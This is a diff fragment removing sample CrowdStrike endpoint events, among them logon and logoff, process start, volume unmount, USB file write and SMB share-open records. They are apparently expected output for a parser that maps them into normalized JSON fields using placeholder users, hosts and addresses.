-                "id": "ffffffffe0104823bd3de859d5bc8bc7"
-            },
-            "event": {
-                "action": "UserLogoff",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:05:34.461Z",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134461\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "domain": "dom1",
-                "id": "ffffffffe0104823bd3de859d5bc8bc7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogoff",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
-                "version": "1007.3.0011603.1"
-            },
-            "related": {
-                "hash": [
-                    "3950066843"
-                ],
-                "hosts": [
-                    "srv2"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user4",
-                    "user.name",
-                    "user.name@dom2.com",
-                    "S-1-5-21-606747145-1364589140-725345543-28636"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom2.com",
-                "email": "user.name@dom2.com",
-                "full_name": "user.name",
-                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
-                "name": "user4"
-            }
-        },
-        {
-            "@timestamp": "2022-08-16T08:01:09.410Z",
-            "crowdstrike": {
-                "AuthenticationId": "29530993",
-                "ConfigStateHash": "518095218",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ImageSubsystem": "2",
-                "IntegrityLevel": "8192",
-                "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e",
-                "ParentAuthenticationId": "29530993",
-                "ProcessCreateFlags": "1024",
-                "ProcessParameterFlags": "24577",
-                "ProcessSxsFlags": "64",
-                "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
-                "SessionId": "1",
-                "SourceProcessId": "434985540832797032",
-                "SourceThreadId": "434985668331321297",
-                "Tags": [
-                    "25",
-                    "27",
-                    "862",
-                    "874",
-                    "924",
-                    "12094627905582",
-                    "12094627906234"
-                ],
-                "TokenType": "2",
-                "cid": "1301ac65ae144fbb9689a8472f828c2e",
-                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf",
-                "name": "ProcessRollup2V19"
-            },
-            "device": {
-                "id": "50deaa55144543089a1f463b568cdc53"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2022-08-16T08:01:09.410Z",
-                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e",
-                "kind": "event",
-                "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"6108\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "50deaa55144543089a1f463b568cdc53",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "89.160.20.120"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.120"
-                ],
-                "serial_number": "50deaa55144543089a1f463b568cdc53",
-                "version": "1007.3.0015103.1"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "MEDIUM"
-                    }
-                },
-                "args": [
-                    "C:\\Program Files\\nirsoft\\SoundVolumeView.exe",
-                    "/SetDefault",
-                    "Teradici Virtual Audio Driver\\device\\speakers\" all"
-                ],
-                "args_count": 3,
-                "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all",
-                "entity_id": "434985669758362104",
-                "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe",
-                "hash": {
-                    "md5": "e570911fc2ab74ecf0dc59f324318f6e",
-                    "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2"
-                },
-                "name": "SoundVolumeView.exe",
-                "parent": {
-                    "entity_id": "434985540832797032",
-                    "name": "EmUser.exe"
-                },
-                "pid": 6108,
-                "start": "2022-08-16T08:01:08.576Z"
-            },
-            "related": {
-                "hash": [
-                    "e570911fc2ab74ecf0dc59f324318f6e",
-                    "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
-                    "518095218"
-                ],
-                "ip": [
-                    "89.160.20.120"
-                ],
-                "user": [
-                    "S-1-5-21-4084637156-299436391-3671333128-115430"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-21-4084637156-299436391-3671333128-115430"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T15:54:59.812Z",
-            "crowdstrike": {
-                "ConfigStateHash": "666346415",
-                "ContextProcessId": "1717987648455",
-                "ContextTimeStamp": "2022-12-03T18:43:39.000Z",
-                "EffectiveTransmissionClass": "3",
-                "EndTime": "2022-12-03T18:42:00.000Z",
-                "Entitlements": "15",
-                "StartTime": "2022-12-03T18:42:00.000Z",
-                "VolumeName": "\\Device\\HarddiskVolume27",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
-                "name": "FsVolumeUnmountedV2"
-            },
-            "device": {
-                "id": "ffffffff896b43725b83c79aa79959da"
-            },
-            "event": {
-                "action": "FsVolumeUnmounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2020-11-08T15:54:59.812Z",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":133145666190000000,\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff896b43725b83c79aa79959da",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FsVolumeUnmounted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff896b43725b83c79aa79959da",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1717987648455",
-                "thread": {
-                    "id": 55064470042288
-                }
-            },
-            "related": {
-                "hash": [
-                    "666346415"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2023-03-16T01:57:00.343Z",
-            "crowdstrike": {
-                "CurrentLocalIP": "67.43.156.13",
-                "FirstDiscoveredDate": "2022-11-28T08:47:57.827Z",
-                "LastDiscoveredBy": "c1b74438660b44cfa93e24c9d44badab",
-                "LocalAddressIP4": [
-                    "67.43.156.13"
-                ],
-                "MACPrefix": "AA-AA-AA",
-                "NeighborName": "!!!!UNKNOWN!!!!",
-                "__mv_aip": "$67.43.156.14$;$67.43.156.13$",
-                "__mv_discoverer_aid": "$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$",
-                "aipCount": 3,
-                "cid": "500c5073b4d7443688f4b32c5eeb295b",
-                "discovererCount": 2,
-                "discoverer_aid": "4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab",
-                "localipCount": 1,
-                "subnet": "10.0"
-            },
-            "event": {
-                "created": "2023-03-16T01:57:00.343Z",
-                "id": "||500c5073b4d7443688f4b32c5eeb295b",
-                "original": "{\"ComputerName\":\"HQ-sadhkbasHS\",\"CurrentLocalIP\":\"67.43.156.13\",\"FirstDiscoveredDate\":\"1669625277.827\",\"LastDiscoveredBy\":\"c1b74438660b44cfa93e24c9d44badab\",\"LocalAddressIP4\":\"67.43.156.13\",\"MAC\":\"AA-AA-AA-AA-AA-AA\",\"MACPrefix\":\"AA-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"\",\"__mv_aip\":\"$67.43.156.14$;$67.43.156.13$\",\"__mv_discoverer_aid\":\"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$\",\"__mv_discoverer_devicetype\":\"\",\"_time\":\"1678931820.343\",\"aip\":\"67.43.156.13 67.43.156.14 81.2.69.192\",\"aipCount\":\"3\",\"cid\":\"500c5073b4d7443688f4b32c5eeb295b\",\"discovererCount\":\"2\",\"discoverer_aid\":\"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab\",\"discoverer_devicetype\":\"\",\"localipCount\":\"1\",\"subnet\":\"10.0\"}"
-            },
-            "host": {
-                "hostname": "HQ-sadhkbasHS",
-                "name": "HQ-sadhkbasHS"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13",
-                    "67.43.156.14",
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14",
-                    "81.2.69.192"
-                ]
-            },
-            "related": {
-                "hosts": [
-                    "HQ-sadhkbasHS"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14",
-                    "81.2.69.192"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.13",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.13",
-                "mac": "AA-AA-AA-AA-AA-AA"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T15:54:59.812Z",
-            "crowdstrike": {
-                "ConfigStateHash": "666346415",
-                "ContextProcessId": "1717987648455",
-                "EffectiveTransmissionClass": "3",
-                "EndTime": "2022-12-03T18:42:00.000Z",
-                "Entitlements": "15",
-                "StartTime": "2022-12-03T18:42:00.000Z",
-                "VolumeName": "\\Device\\HarddiskVolume27",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
-                "name": "FsVolumeUnmountedV2"
-            },
-            "device": {
-                "id": "ffffffff896b43725b83c79aa79959da"
-            },
-            "event": {
-                "action": "FsVolumeUnmounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2020-11-08T15:54:59.812Z",
-                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff896b43725b83c79aa79959da",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FsVolumeUnmounted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff896b43725b83c79aa79959da",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1717987648455",
-                "thread": {
-                    "id": 55064470042288
-                }
-            },
-            "related": {
-                "hash": [
-                    "666346415"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T15:57:11.298Z",
-            "crowdstrike": {
-                "AuthenticationId": "703298",
-                "ConfigStateHash": "2642284486",
-                "ContextProcessId": "1161025471861",
-                "ContextTimeStamp": "2020-11-08T15:57:10.593Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileEcpBitmask": "0",
-                "FileObject": "18446664963104449168",
-                "IrpFlags": "1028",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "1",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-800a-06cecfd73923",
-                "name": "GenericFileWrittenV11"
-            },
-            "device": {
-                "id": "ffffffff16bf4c7bb5ad755a4722025c"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T15:57:11.298Z",
-                "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d",
-                "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"c:\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}"
-            },
-            "file": {
-                "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255",
-                "directory": "c:\\Device\\HarddiskVolume5",
-                "drive_letter": "C",
-                "extension": "tmp$$",
-                "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000",
-                "name": "01.png.tmp$$",
-                "path": "c:\\Device\\HarddiskVolume5\\01.png.tmp$$",
-                "size": 517029,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff16bf4c7bb5ad755a4722025c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "GenericFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff16bf4c7bb5ad755a4722025c",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1161025471861",
-                "thread": {
-                    "id": 34929528116709
-                }
-            },
-            "related": {
-                "hash": [
-                    "2642284486"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user9"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user9"
-            }
-        },
-        {
-            "@timestamp": "2024-05-07T10:46:39.943Z",
-            "crowdstrike": {
-                "AuthenticationId": "111112312312312321",
-                "ConfigStateHash": "821711964",
-                "ContextTimeStamp": "2024-05-07T10:46:39.690Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogonTime": "2024-05-07T10:46:39.631Z",
-                "LogonType": "2",
-                "PasswordLastSet": "1706789855.733",
-                "UserGroupsBitmask": "0",
-                "UserLogonFlags": "6",
-                "UserName": "user-1",
-                "cid": "1d1d1d1d1d1d1d1d1",
-                "info": {
-                    "host": {
-                        "AgentLoadFlags": "0",
-                        "AgentLocalTime": "1714620029.775",
-                        "AgentTimeOffset": "454032",
-                        "AgentVersion": "7.14.18305.0",
-                        "ChassisType": "Other",
-                        "City": "Bengaluru",
-                        "ConfigBuild": "1007.4.0018305.10",
-                        "ConfigIDBuild": "18305",
-                        "Continent": "Asia",
-                        "Country": "India",
-                        "FirstSeen": "1701672920.000",
-                        "HostHiddenStatus": "Visible",
-                        "SystemManufacturer": "Apple Inc.",
-                        "SystemProductName": "Mac14, 2",
-                        "Time": "1715074061.000",
-                        "Timezone": "Asia/Kolkata",
-                        "Version": "Ventura (13)",
-                        "cid": "11d1d1d1dd1d1d1d1d1",
-                        "event_platform": "Mac"
-                    },
-                    "user": {
-                        "AccountType": "Local",
-                        "LastLoggedOnHost": "User-1-MacBook-Air.local",
-                        "LogonTime": "1715076000.000",
-                        "LogonType": "Interactive",
-                        "PasswordLastSet": "1706789855.733",
-                        "UserIsAdmin": "1",
-                        "_time": "1715076916.290",
-                        "cid": "1d1d1d1d1d1d1d1d1",
-                        "monthsincereset": "3.0"
-                    }
-                },
-                "name": "UserLogonMacV1"
-            },
-            "event": {
-                "created": "2024-05-07T10:46:39.943Z",
-                "id": "||1d1d1d1d1d1d1d1d1",
-                "original": "{\"UserIsAdmin\": \"1\", \"LogonTime\": \"1715078799.631\", \"UserSid\": \"S-1-5-21-1111-11111-387821029-2004\", \"event_platform\": \"Mac\", \"EffectiveTransmissionClass\": \"2\", \"timestamp\": \"1715078799943\", \"info\": { \"host\": { \"Timezone\": \"Asia/Kolkata\", \"ServicePackMajor\": \"none\", \"PointerSize\": \"none\", \"SiteName\": \"none\", \"AgentVersion\": \"7.14.18305.0\", \"Time\": \"1715074061.000\", \"MachineDomain\": \"none\", \"event_platform\": \"Mac\", \"AgentTimeOffset\": \"454032\", \"Version\": \"Ventura (13)\", \"AgentLoadFlags\": \"0\", \"BiosVersion\": \"none\", \"FalconGroupingTags\": \"none\", \"SystemProductName\": \"Mac14, 2\", \"OU\": \"none\", \"ProductType\": \"none\", \"City\": \"Bengaluru\", \"ConfigBuild\": \"1007.4.0018305.10\", \"SensorGroupingTags\": \"none\", \"Continent\": \"Asia\", \"FirstSeen\": \"1701672920.000\", \"HostHiddenStatus\": \"Visible\", \"BiosManufacturer\": \"none\", \"AgentLocalTime\": \"1714620029.775\", \"Country\": \"India\", \"ChassisType\": \"Other\", \"SystemManufacturer\": \"Apple Inc.\", \"ConfigIDBuild\": \"18305\", \"cid\": \"11d1d1d1dd1d1d1d1d1\" }, \"user\": { \"UserIsAdmin\": \"1\", \"monthsincereset\": \"3.0\", \"User\": \"USER-1-MACBOOK-AIR.LOCAL\\\\USER-1\", \"LogonTime\": \"1715076000.000\", \"PasswordLastSet\": \"1706789855.733\", \"LogonType\": \"Interactive\", \"AccountType\": \"Local\", \"LastLoggedOnHost\": \"User-1-MacBook-Air.local\", \"_time\": \"1715076916.290\", \"cid\": \"1d1d1d1d1d1d1d1d1\" } }, \"ContextTimeStamp\": \"1715078799.690\", \"UserName\": \"user-1\", \"ConfigStateHash\": \"821711964\", \"LogonType\": \"2\", \"AuthenticationId\": \"111112312312312321\", \"UserPrincipal\": \"user-1@User-1-MacBook-Air.local\", \"PasswordLastSet\": \"1706789855.733\", \"Entitlements\": \"15\", \"name\": \"UserLogonMacV1\", \"UserLogonFlags\": \"6\", \"UserGroupsBitmask\": \"0\", \"cid\": \"1d1d1d1d1d1d1d1d1\"}"
-            },
-            "host": {
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "related": {
-                "hash": [
-                    "821711964"
-                ],
-                "hosts": [
-                    "User-1-MacBook-Air.local"
-                ],
-                "user": [
-                    "USER-1-MACBOOK-AIR.LOCAL\\USER-1",
-                    "user-1",
-                    "user-1@User-1-MacBook-Air.local",
-                    "S-1-5-21-1111-11111-387821029-2004"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": [
-                    "USER-1-MACBOOK-AIR.LOCAL",
-                    "User-1-MacBook-Air.local"
-                ],
-                "email": "user-1@User-1-MacBook-Air.local",
-                "full_name": "user-1",
-                "id": "S-1-5-21-1111-11111-387821029-2004",
-                "name": "USER-1-MACBOOK-AIR.LOCAL\\USER-1",
-                "roles": [
-                    "admin"
-                ]
-            }
-        },
-        {
-            "@timestamp": "2024-08-01T11:31:27.123Z",
-            "crowdstrike": {
-                "ActiveDirectoryAuthenticationMethod": "0",
-                "ActivityId": "E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC",
-                "AuthenticationActivityId": "0737DAC6-66AE-42DE-B10A-FD151AE99B86",
-                "ContextTimeStamp": "2024-05-07T10:46:39.690Z",
-                "SourceAccountDomain": "EXAMPLE.COM",
-                "SourceAccountObjectGuid": "62915660-5725-4B71-A494-46793F88877A",
-                "SourceAccountObjectSid": "S-1-5-21-333333333-333333333-3333333333-333333",
-                "SourceAccountSamAccountName": "bar",
-                "SourceEndpointAccountObjectGuid": "9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8",
-                "SourceEndpointAccountObjectSid": "S-1-5-21-222222222-222222222-2222222222-222222",
-                "SourceEndpointAddressIP4": "192.168.0.1",
-                "SourceEndpointHostName": "FOO",
-                "SourceEndpointNetworkTag": "AWS-XXX",
-                "SourceEndpointNetworkType": "1",
-                "TargetDomainControllerObjectGuid": "11111111-1111-1111-1111-111111111111",
-                "TargetDomainControllerObjectSid": "S-1-5-21-111111111-111111111-1111111111-111111",
-                "cid": "11111111111111111111111111111111",
-                "name": "ActiveDirectoryInteractiveDomainLogonV2"
-            },
-            "event": {
-                "created": "2024-08-01T11:31:27.123Z",
-                "id": "||11111111111111111111111111111111",
-                "original": "{\"ActiveDirectoryAuthenticationMethod\":\"0\",\"ActivityId\":\"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC\",\"AuthenticationActivityId\":\"0737DAC6-66AE-42DE-B10A-FD151AE99B86\",\"ContextTimeStamp\":\"1715078799.690\",\"SourceAccountDomain\":\"EXAMPLE.COM\",\"SourceAccountObjectGuid\":\"62915660-5725-4B71-A494-46793F88877A\",\"SourceAccountObjectSid\":\"S-1-5-21-333333333-333333333-3333333333-333333\",\"SourceAccountSamAccountName\":\"bar\",\"SourceEndpointAccountObjectGuid\":\"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8\",\"SourceEndpointAccountObjectSid\":\"S-1-5-21-222222222-222222222-2222222222-222222\",\"SourceEndpointAddressIP4\":\"192.168.0.1\",\"SourceEndpointHostName\":\"FOO\",\"SourceEndpointNetworkTag\":\"AWS-XXX\",\"SourceEndpointNetworkType\":\"1\",\"TargetDomainControllerObjectGuid\":\"11111111-1111-1111-1111-111111111111\",\"TargetDomainControllerObjectSid\":\"S-1-5-21-111111111-111111111-1111111111-111111\",\"aip\":\"\",\"cid\":\"11111111111111111111111111111111\",\"event_platform\":\"Win\",\"name\":\"ActiveDirectoryInteractiveDomainLogonV2\",\"timestamp\":\"2024-08-01T11:31:27.123Z\"}"
-            },
-            "host": {
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-01-27T20:26:33.697Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1063377105",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "SmbShareName": "C$",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3",
-                "name": "SmbServerShareOpenedEtwV1"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:1",
-                "domain": "AzureAD",
-                "ip": "0:0:0:0:0:0:0:1"
-            },
-            "device": {
-                "id": "1152404d33614d3bbfe87a5fe7bac47b"
-            },
-            "event": {
-                "action": "SmbServerShareOpenedEtw",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-01-27T20:26:33.697Z",
-                "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3|1152404d33614d3bbfe87a5fe7bac47b|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
